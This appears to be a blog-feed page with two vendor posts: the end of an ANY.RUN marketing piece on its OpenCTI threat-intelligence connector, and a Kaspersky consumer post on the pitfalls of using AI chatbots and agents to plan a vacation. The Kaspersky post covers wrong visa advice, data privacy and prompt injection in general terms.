    Here’s a typical scenario of how you can use the connector in your SOC: 

    • Expanded Threat Monitoring: Clients connect TI Feeds to OpenCTI to use real-time threat data for analyzing alerts and incidents. 
    • Detection and Response: Enhanced detection quality allows for better threat identification and response. 
    • Proactive Defense: Data from TI Feeds supports the creation of new rules, training models, and updating playbooks and dashboards. 

    ☝ Benefits of TI Feeds in OpenCTI
    • Proactive threat management by providing current and fresh data from active attacks.
    • Improved quality of detection in various security systems.
    • Enhanced ability to identify threats at earlier stages.

    How OpenCTI Connectors Can Help Your Business 

    The interoperability of ANY.RUN with OpenCTI provides significant user and business value, leading to measurable performance gains across the SOC. 

    • Reduced costs and time savings by eliminating the need for custom development and allowing analysts to focus on critical threats. 
    • Increased SOC efficiency through streamlined triage, investigation, and escalation for Tier 1 and Tier 2 analysts. 
    • Automation of routine tasks, such as manually copying artifacts or launching analyses, which reduces analyst burnout. 
    • Reduced Mean Time to Detect (MTTD) and Mean Time to Respond (MTTR), enhancing overall SOC metrics. 
    • Enhanced decision-making and process improvement by providing detailed reports and enriched data for creating effective rules, updating response playbooks, and training detection models. 
    • Proactive threat management and early threat detection by uncovering stealthy or multi-stage attacks that traditional tools might miss. 
    • Stronger ROI from existing tools by extending the capabilities of OpenCTI with behavioral analysis and contextual enrichment without additional infrastructure. 

    About ANY.RUN 

    Trusted by over 500,000 cybersecurity professionals and 15,000+ organizations in finance, healthcare, manufacturing, and other critical industries, ANY.RUN helps security teams investigate threats faster and with greater accuracy. 

    Our Interactive Sandbox accelerates incident response by allowing you to analyze suspicious files in real time, watch behavior as it unfolds, and make confident, well-informed decisions. 

    Our Threat Intelligence Lookup and Threat Intelligence Feeds strengthen detection by providing the context your team needs to anticipate and stop today’s most advanced attacks. 

    Ready to see the difference? Start your 14-day trial of ANY.RUN today 

    The post ANY.RUN & OpenCTI: Transform SOC for Maximum Performance appeared first on ANY.RUN’s Cybersecurity Blog.

    ANY.RUN’s Cybersecurity Blog – ​Read More

    How AI can help plan your vacation | Kaspersky official blog

    Artificial intelligence is already trying its hand as a travel agent: just ask a chatbot about your chosen destination, and in a couple of seconds you’ll get a full sightseeing itinerary, a list of hotels with good reviews, and even visa tips. And with the help of an AI agent, you can even buy tickets without having to trawl through endless airline websites and flight aggregators. Sounds like a traveler’s dream, but there are downsides. In this post, we look at what to pay attention to when planning a vacation with ChatGPT or another AI assistant.

    What could go wrong?

    A Kaspersky study reveals that just 28% of AI users trust artificial intelligence to plan their vacations, (with 96% of that 28% being satisfied with such AI assistance). Note that chatbots possess no knowledge of their own, but learn from input texts and data, and then formulate the most fitting answer to a question. And AI isn’t immune to serving up inaccurate, outdated, or downright false information. Sure, some chatbots already have an internet search function built in, but infallible fact-checking is still a long way off.

    In March 2025, Mark Pollard of Australia was due to fly to Chile to give a lecture. But he was turned away at the check-in desk for not having a visa. Mark had duly consulted ChatGPT about the visa requirements of various Latin American countries, and had blindly trusted its response. As of 2019, however, Australian citizens need a visa to visit Chile, but this information was apparently unknown to the neural network. In another case, AI advised a journalist to visit museums that had been wiped out by a forest fire.

    Sometimes, even professionals on duty are led astray by bad AI. In 2024, staff at Manila airport tried to stop a passenger boarding a UK-bound flight: she was a UK citizen, but only had her US passport on her at the time. As it turns out, that isn’t grounds to deny boarding a flight to England, but the staff had been misinformed by Google AI Overviews. It took a call to the embassy to resolve the situation.

    If you don’t want AI to send you to a closed restaurant or a non-existent landmark, then check the information in real time. Just be aware — and beware — that connecting to public Wi-Fi is always a gamble, with the security of your devices and data at stake. When abroad, it’s much safer to use mobile internet. There’s no need to buy a physical SIM card — just use an eSIM.

    Why you shouldn’t share personal data with AI

    Most popular Ais, like ChatGPT and Gemini, process and store all user requests. Which means that in the event of a bug or major leak, outsiders could find out too much about you: travel dates, schedule, budget, and traveling companions. So only share with neural networks data that you wouldn’t mind the whole world knowing.

    Many companies these days offer AI agents — digital assistants that can autonomously perform tasks on your behalf. For example, you can ask an AI agent to book a tour, and email your colleagues about your upcoming vacation (please don’t give AI agents access to work chats and email!). Once instructed, the AI agent either launches a virtual machine or captures your computer screen and connects to third-party services.

    The problem is that you risk giving the neural network not only your personal data, but also the freedom to perform unwanted actions on websites. Recall that AI agents are vulnerable to prompt injection attacks — hidden commands that attackers plant on phishing pages and hacked websites. Spotting these on your own is near impossible: prompt injections are usually embedded in a website’s metadata or visual elements.

    For now at least, the safest way to plan vacation travel is to do your own research and buy everything you need yourself — using AI only as an auxiliary tool. And to minimize the risks associated with prompt injections, use a reliable security solution that blocks all attempts to infect your device with malware.

    How to plan your vacation with AI risk-free

    • Never share personal data with AI that you want to keep secret.
    • Always double-check information supplied by AI — a manual search is always best.
    • Be careful with AI agents: they’re prone to prompt injections, and may leak your data to attackers — or worse.
    • Bear in mind that public Wi-Fi in airports, hotels, and cafes isn’t secure: traffic isn’t protected, and attackers can snoop on your data. When on the road, it’s better to use an eSIM for mobile internet.

    What else to read before your trip:

    Kaspersky official blog – ​Read More